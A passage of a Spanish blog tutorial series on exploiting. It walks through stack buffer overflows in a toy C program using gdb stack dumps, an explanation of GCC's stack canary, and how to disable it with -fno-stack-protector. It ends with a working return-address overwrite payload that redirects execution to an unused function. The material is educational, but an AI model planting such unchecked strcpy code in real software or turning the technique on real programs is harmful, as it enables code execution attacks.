(gdb) run `perl -e 'print "A"x140'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof2 `perl -e 'print "A"x140'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x00145c00

Como vemos, aquí­ se ha llegado a sobreescribir la dirección de retorno de main(). Cuando main() termine se saltará al código en la dirección 0x00145c00 (y no ha 0x00145ce7 como debería), ejecutando lo que allá hay. Dado que a partir de ese punto la ejecución ha sido corrompida (se ha cambiado el flujo de ejecución) lo más normal es acabar en un fallo de segmentación.

Lo que tenemos que tener claro de todo esto es que podemos cambiar el flujo de ejecución de un programa, y por tanto podemos hacer que el programa haga otras cosas, eso sí,­ hilando fino.

Veamos ahora cómo lograr ejecutar la función saludar() que escribí en el código y que sin embargo no usaba. Lo que debemos hacer es provocar la sobreescritura, pero de tal manera que lo que acabe en la dirección de retorno sea la dirección de la función saludar(), de forma que cuando main() retorne lo haga hacia saludar() y no de donde quiera que viniera. Lo primero es averiguar la dirección de saludar().

$ objdump -d bof2 | egrep "<saludar>"
08048454 <saludar>:

La primera instrucción de saludar() se encuentra en la dirección 0x08048454, veamos ahora cómo hacer que el programa ejecute esta función. Sabemos que a partir del byte 141 que le pasamos al programa se sobreescribe la dirección de retorno de main(), con lo que el byte 141, 142, 143 y 144 deben ser la dirección de saludar(). Lo que haremos será pasarle al programa 140 bytes de porquería, unas cuantas Aes por ejemplo (o eÑes si eres de la Nighterman old school) y justo después cada uno de los bytes de saludar().

$ ./bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Violación de segmento

¿Qué ha pasado por ahí­ abajo para que no haya funcionado lo que habí­amos planeado? Veámoslo, porque es algo bastante común y que debemos tener en cuenta.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) r `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x54840408

Ahora vemos qué está pasando. La dirección de retorno no se ha sobreescrito por 0x08048454, sino por ese número pero con los bytes al revés, 0x54840408. ¿Y esto por qué es?. Recordemos que estamos ejecutando en una máquina x86, esta arquitectura utiliza una ordenación de los bytes de los datos tipo little endian, lo que significa que los bytes menos significativos de un dato van en posiciones menos significativas de memoria. Mucho cuidado con estos detalles y con la forma de representar los datos tanto de gdb como de cualquier otro debugger que uses.

Dado que de la dirección de saludar, 0x08048454, el byte menos significativo es 0x54, es éste el que debe ir en el byte menos significativo de la dirección de retorno, luego 0x84 y así sucesivamente.

(gdb) r `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) cont
Continuando.
Hola BoF

Program exited normally.

Efectivamente ahora sí­ vemos que se nos ha escrito el mensaje "Hola BoF" que esperábamos. Veamos que también ocurre ejecutando sin gdb.

$ ./bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
Hola BoF

Correcto, hemos conseguido hacer que un programa que, en principio no llamaba a cierta función acabe llamándola. Esto es lo que se suele llamar ejecución "arbitraria" de código.

Espero que con esto se les haya iluminado la mente y descubierto nuevas vías para truquear los programas, pero sobre todo espero que les sigan surgiendo nuevas dudas y ganas de seguir leyendo... porque seguiré escribiendo y mostrando cosas aún más interesantes, sólo estamos empezando...

Saludos.

jueves, 30 de agosto de 2012

Minicurso de exploiting (parte 7): Introducción a los buffers overflows

Y por fin llegamos a la parte que más jugo nos va a dar y que a mi más me gusta :D, los buffers overflows (BoFs). Este tipo de vulnerabilidades fueron descubiertas mucho tiempo atrás, no sabría decir cuando exactamente (creo que sobre 1986) y desde el principio de los tiempos han sido intensivamente explotadas, el gusano Morris ya se aprovechaba de buffer overflows para extenderse por máquinas UNIX. A pesar de lo conocido que resultan este tipo de vulnerabilidades, se sigue incurriendo en ellas muy a menudo, veamos por ejemplo una de las páginas más grandes a nivel mundial que contabilizan vulnerabilidades, securityfocus, cada día encontraremos nuevas vulnerabilidades publicadas pero mientras estoy escribiendo esto, una de las 10 últimas es un buffer overflow. Además siguen representando un problema grave porque, a pesar de todas las contramedidas que existen (las iremos viendo: canaries, Exec-shield, ASLR...) cuando conseguimos explotar una vulnerabilidad de este tipo las posibilidades suelen ser casi ilimitadas, lo que se suele describir como "ejecución de código" en las descripciones de las vulnerabilidades BoFs. Para poner otro ejemplo, el famoso conficker se basaba en este tipo de vulnerabilidad en un servicio RPC de muchísimas versiones de Windows para propagarse... ¡y vaya si se propagó!.

Pero dejemos ya la historia y datos curiosos y empecemos con esto de los BoFs, y lo primero que debemos saber es ¿qué es una vulnerabilidad de buffer overflow?. Una vulnerabilidad de buffer overflow se da en donde la manipulación de un buffer no se hace correctamente y de alguna forma acabamos escribiendo más alla del límite del buffer. Esto puede conllevar que el programa dé un resultado erróneo, que incurra en un acceso ilegal a memoria o segmentation fault, o, y aquí viene lo divertido, que se acabe ejecutando código en la máquina, un código que no debería ser el que se estuviera ejecutando. Y aún se vuelve más divertido si ese código que se ejecuta son cosas que no hay en la máquina de por sí, sino que inyectamos nosotros for fun and profit.

Veamos primero cómo se ve en código un claro ejemplo de vulnerabilidad BoF.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

Este código tiene la madre de todos los buffer overflows, se copia en un buffer de tamaño fijo (de tamaño 16) una cadena que a priori no sabemos su tamaño y que bien podría tener un tamaño mayor de 16 bytes (el primer parámetro que le pasamos al programa). Así pues, cuando ejecutamos este programa y le pasamos un argumento de tamaño 16 el programa debería explotar, probemos.

$ ./bof 1234
1234
$ ./bof 123456789012345
123456789012345
$ ./bof 1234567890123456
1234567890123456
$ ./bof 12345678901234567
12345678901234567
*** stack smashing detected ***: ./bof terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x1f5970]
/lib/libc.so.6(+0xe591a)[0x1f591a]
./bof[0x8048525]
/lib/libc.so.6(__libc_start_main+0xe7)[0x126ce7]
./bof[0x8048411]
======= Memory map: ========
00110000-00267000 r-xp 00000000 fc:03 382855     /lib/libc-2.12.1.so
00267000-00269000 r--p 00157000 fc:03 382855     /lib/libc-2.12.1.so
00269000-0026a000 rw-p 00159000 fc:03 382855     /lib/libc-2.12.1.so
0026a000-0026d000 rw-p 00000000 00:00 0
00423000-00424000 r-xp 00000000 00:00 0          [vdso]
00715000-00731000 r-xp 00000000 fc:03 382771     /lib/ld-2.12.1.so
00731000-00732000 r--p 0001b000 fc:03 382771     /lib/ld-2.12.1.so
00732000-00733000 rw-p 0001c000 fc:03 382771     /lib/ld-2.12.1.so
007ca000-007e4000 r-xp 00000000 fc:03 382848     /lib/libgcc_s.so.1
007e4000-007e5000 r--p 00019000 fc:03 382848     /lib/libgcc_s.so.1
007e5000-007e6000 rw-p 0001a000 fc:03 382848     /lib/libgcc_s.so.1
08048000-08049000 r-xp 00000000 fc:04 884738     /path/bof
08049000-0804a000 r--p 00000000 fc:04 884738     /path/bof
0804a000-0804b000 rw-p 00001000 fc:04 884738     /path/bof
088c6000-088e7000 rw-p 00000000 00:00 0          [heap]
b7862000-b7863000 rw-p 00000000 00:00 0
b7874000-b7877000 rw-p 00000000 00:00 0
bfba3000-bfbc4000 rw-p 00000000 00:00 0          [stack]
Abortado

De golpe puede parecer un chorrón de cosas chungas y que no entendemos, pero no es verdad, si nos fijamos hay dos partes bien diferenciadas. Por un lado he ejecutado 4 veces el programa con parámetros de distinto tamaño para demostrar el funcionamiento, y por otro lado un volcado de las regiones de memoria del proceso, que ya nos debería sonar puesto que cuando estuvimos viendo cómo eran vimos el fichero /proc/<pid>/maps, que básicamente es lo que se está mostrando aquí.

Centrémonos en las ejecuciones, hemos ejecutado primero con un parámetro de tamaño 5, luego con parámetro de tamaño 16, luego 17 y luego 18 (para quién se esté despistando, recordemos que la strings en C terminan con el byte '\0', que también es un byte ¬¬).

En las 2 primeras ejecuciones no ha pasado nada, como esperabamos puesto que el tamaño del parámetro se ajusta al del buffer. En la tercera, que pasamos 17 bytes y aún así el programa no explota, ya tenemos trabajo para dudar, ¿por qué no explota?. En la última ejecución vemos claramente que el programa explota (stack smashing detected, como habréis visto en uno de los enlaces que he puesto esto de "smashing the stack" es algo muy utilizado en este ámbito :). Veamos entonces qué está pasando en realidad por dentro para que con un parámetro de tamaño 17 no explote y con 18 sí. Con tranquilidad, que lo que viene ahora puede resultar duro... ¡adentrémonos en matrishshshsh!.

$ gdb -q bof
Leyendo símbolos desde /path/bof...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x080484a4 <+0>:    push   %ebp
   0x080484a5 <+1>:    mov    %esp,%ebp
   0x080484a7 <+3>:    and    $0xfffffff0,%esp
   0x080484aa <+6>:    sub    $0x40,%esp
   0x080484ad <+9>:    mov    0xc(%ebp),%eax
   0x080484b0 <+12>:    mov    %eax,0x1c(%esp)
   0x080484b4 <+16>:    mov    %gs:0x14,%eax
   0x080484ba <+22>:    mov    %eax,0x3c(%esp)
   0x080484be <+26>:    xor    %eax,%eax
   0x080484c0 <+28>:    cmpl   $0x2,0x8(%ebp)
   0x080484c4 <+32>:    je     0x80484e9 <main+69>
   0x080484c6 <+34>:    mov    0x1c(%esp),%eax
   0x080484ca <+38>:    mov    (%eax),%edx
   0x080484cc <+40>:    mov    $0x80485f0,%eax
   0x080484d1 <+45>:    mov    %edx,0x4(%esp)
   0x080484d5 <+49>:    mov    %eax,(%esp)
   0x080484d8 <+52>:    call   0x80483a8 <printf@plt>
   0x080484dd <+57>:    movl   $0xffffffff,(%esp)
   0x080484e4 <+64>:    call   0x80483d8 <exit@plt>
   0x080484e9 <+69>:    mov    0x1c(%esp),%eax
   0x080484ed <+73>:    add    $0x4,%eax
   0x080484f0 <+76>:    mov    (%eax),%eax
   0x080484f2 <+78>:    mov    %eax,0x4(%esp)
   0x080484f6 <+82>:    lea    0x2c(%esp),%eax
   0x080484fa <+86>:    mov    %eax,(%esp)
   0x080484fd <+89>:    call   0x8048398 <strcpy@plt>
   0x08048502 <+94>:    lea    0x2c(%esp),%eax
   0x08048506 <+98>:    mov    %eax,(%esp)
   0x08048509 <+101>:    call   0x80483c8 <puts@plt>
   0x0804850e <+106>:    mov    $0x0,%eax
   0x08048513 <+111>:    mov    0x3c(%esp),%edx
   0x08048517 <+115>:    xor    %gs:0x14,%edx
   0x0804851e <+122>:    je     0x8048525 <main+129>
   0x08048520 <+124>:    call   0x80483b8 <__stack_chk_fail@plt>
   0x08048525 <+129>:    leave 
   0x08048526 <+130>:    ret   
End of assembler dump.

He marcado por un lado la cantidad de espacio que se reserva para variables locales (0x40 = 72 bytes) en el prólogo de la función. También he marcado la instrucción call que salta a strcpy() (donde se produce la sobreescritura). Y finalmente he marcado la llamada a una función que nosotros no hemos puesto, __stack_chk_fail() (stack check fail). WTF?! ¡Si nosotros no hemos usado esa función!, ¿¡qué hace ahí!?. Lo dije en el primer capítulo y lo vuelvo a repetir ahora, no te creas nada de nadie ni de nada, comprueba las cosas por ti mismo. Lo aclaro rápidamente, desde hace ya bastante tiempo, las versiones de Ubuntu traen una versión de GCC que automáticamente nos mete esta función si estamos manejando bufferes estáticos precisamente para detectar si ha habido bof, y ahora mismo estoy sobre una Ubuntu. Debido a esta función el programa explota con toda esa cantidad de información, luego veremos que no es lo normal. Pero de nuevo nos debería asaltar una pregunta ¿por qué si hay sobreescritura (debería haberla) cuando ejecutamos con un parámetro de 17 bytes, no está explotando?. Pues seguimos el análisis.

(gdb) br *main+89
Punto de interrupción 1 at 0x80484fd
(gdb) run 1234567890123456
Starting program: /path/bof 1234567890123456

Breakpoint 1, 0x080484fd in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c5    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0xbffff368
0xbffff350:    0x0015e985    0x0011eb60    0x0804854b    0x3005f400
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0
(gdb) print /x $ebp
$1 = 0xbffff368
(gdb) x/s 0xbffff5c5
0xbffff5c5:     "1234567890123456"

Paramos el programa justo antes de la llamada a strcpy y miramos la pila, como esto aún puede resultar un poco loco para los iniciados lo he coloreado. Ha saber, los números que usan un color más suave son punteros y los que usan un color más fuerte son los datos. A su vez los punteros y sus datos los he pintado usando el mismo tipo de color (rojo, naranja y azul).

Vayamos por partes. Lo que aquí tenemos es el stack frame (que ya los conocemos de antes) de main() justo antes de llamar a strcpy(), en la cima de la pila tenemos los parámetros para strcpy(), primero el puntero a nuestro buffer estático (rojo suave), que además vemos que está un poco más abajo en la pila (en rojo fuerte) y que contiene porquería. Justo después está el puntero argv[1] (naranja suave), que como muestro al final contiene el parámetro (naranja fuerte). Para saber el límite del stack frame de main() he mostrado también el contenido del registro EBP (azul suave), que está apuntando al saved EBP del stack frame anterior (azul oscuro). Como recordatorio de los stack frames también he marcado en verde suave la dirección de retorno, pero no viene al caso.

Ahora sabemos que cuando ejecutemos strcpy() se copiará el parámetro "123456..." en la zona pintada rojo fuerte. Veámoslo.

(gdb) nexti
0x08048502 in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c5    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0x34333231
0xbffff350:    0x38373635    0x32313039    0x36353433    0x3005f400
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0

Efectivamente ha ocurrido lo que esperábamos, lo que antes era porquería ahora es una copia del parámetro que pasamos (0x30 en ASCII = '0', 0x31 = '1' y así sucesivamente... ale, a aprender la tabla ASCII xD). Sin embargo nótese un pequeño detalle, el último byte que he pintado de rojo fuerte va más allá de los 16 del buffer estático, está en 0x3005f400 y es el último byte, el '\0' con el que terminan las strings en C. Volvamos un poco atrás y comprobemos que ese byte antes de la llamada a strcpy() también era 0. Ese byte realmente ha sido sobreescrito por el \0 de la string, pero al ser igual no está produciendo nada raro, y es por ello que la ejecución con un parámetro de tamaño 17 no explota. Sin embargo, como ya se supondrá, si ejecutamos con tamaño 18.

(gdb) run 12345678901234567
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof 12345678901234567

Breakpoint 1, 0x080484fd in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c4    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0xbffff368
0xbffff350:    0x0015e985    0x0011eb60    0x0804854b    0x52d69a00
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0
(gdb) nexti
0x08048502 in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c4    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0x34333231
0xbffff350:    0x38373635    0x32313039    0x36353433    0x52d60037
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d

Vemos que ahora el valor que es sobreescrito sí que cambia, antes de la ejecución era 0x52d69a00 y después es 0x52d60037. Hemos sobreescritos los 2 últimos bytes con 0x37, '7' en ASCII, y con el 0 de terminación de string. Fijémonos en un detalle curioso, aunque el valor que había justo después de nuestro buffer estático ha sido diferente en cada una de las ejecuciones que he hecho, el último byte en ambas ha sido 0. Interesante.

Bueno, pues ya que hemos visto lo que está pasando por debajo voy a descubrir el pastel. Todo el sistema de comprobación que usa __stack_chk_fail() y que mete el GCC de Ubuntu sin que se lo pidamos se basa en poner después de los bufferes estáticos un númerito, que se conoce como canario y que sirve para detectar los buffers overflows si cambia. Casualmente al ser su último byte un 0 y terminar las strings de C en 0, aunque se estaba incurriendo en sobreescritura incluso con un parámetro de 17 bytes, al no cambiar ese canario __stack_chk_fail() no lo estaba detectando.

Pues esto es una mierda para empezar a estudiar buffers overflows puesto que "impide" hacerlos (se puede saltar, ya veremos cómo), así que vamos a quitar estas ñapas para dejar nuestros programas pelados y que podamos ir avanzando de finales de los 80 a nuestros días. Para evitar que GCC meta __stack_chk_fail() en nuestros programas, a la hora de compilar tenemos que pasar la opción -fno-stack-protector.

$ gcc -fno-stack-protector -o bof bof.c 
$ objdump -d bof | egrep -A 27 "<main>"
08048454 <main>:
 8048454:    55                       push   %ebp
 8048455:    89 e5                    mov    %esp,%ebp
 8048457:    83 e4 f0                 and    $0xfffffff0,%esp
 804845a:    83 ec 20                 sub    $0x20,%esp
 804845d:    83 7d 08 02              cmpl   $0x2,0x8(%ebp)
 8048461:    74 22                    je     8048485 <main+0x31>
 8048463:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048466:    8b 10                    mov    (%eax),%edx
 8048468:    b8 70 85 04 08           mov    $0x8048570,%eax
 804846d:    89 54 24 04              mov    %edx,0x4(%esp)
 8048471:    89 04 24                 mov    %eax,(%esp)
 8048474:    e8 eb fe ff ff           call   8048364 <printf@plt>
 8048479:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 8048480:    e8 ff fe ff ff           call   8048384 <exit@plt>
 8048485:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048488:    83 c0 04                 add    $0x4,%eax
 804848b:    8b 00                    mov    (%eax),%eax
 804848d:    89 44 24 04              mov    %eax,0x4(%esp)
 8048491:    8d 44 24 10              lea    0x10(%esp),%eax
 8048495:    89 04 24                 mov    %eax,(%esp)
 8048498:    e8 b7 fe ff ff           call   8048354 <strcpy@plt>
 804849d:    8d 44 24 10              lea    0x10(%esp),%eax
 80484a1:    89 04 24                 mov    %eax,(%esp)
 80484a4:    e8 cb fe ff ff           call   8048374 <puts@plt>
 80484a9:    b8 00 00 00 00           mov    $0x0,%eax
 80484ae:    c9                       leave 
 80484af:    c3                       ret

Y ahora sí, vemos como no está la función de protección, he incluso que la cantidad de espacio reservado para variables locales se ha reducido de 0x40 a 0x20 bytes, y también el tamaño de la función. Veamos ahora cómo se comporta el programa sin la protección.

$ ./bof 1234
1234
$ ./bof 123456789012345
123456789012345
$ ./bof 1234567890123456
1234567890123456
$ ./bof 12345678901234567
12345678901234567
$ ./bof 123456789012345678
123456789012345678
$ ./bof 123456789012345678901234567890
123456789012345678901234567890
Violación de segmento

¡Bien, ya empezamos a violar segmentos! ¿Qué significa eso?, genéricamente hablando significa que el programa ha intentando acceder a una zona de memoria para hacer algo (leer, escribir o ejecutar) que no tiene los permisos necesarios (lectura, escritura o ejecución). ¿Puedes intuir qué está pasando y por qué el fallo no está ocurriendo cuando ejecutamos con el parámetro de 17 bytes?. Bueno, eso lo dejo en el aire para que práctiques... esto era un blog práctico, ¿recuerdas? ;).

Saludos.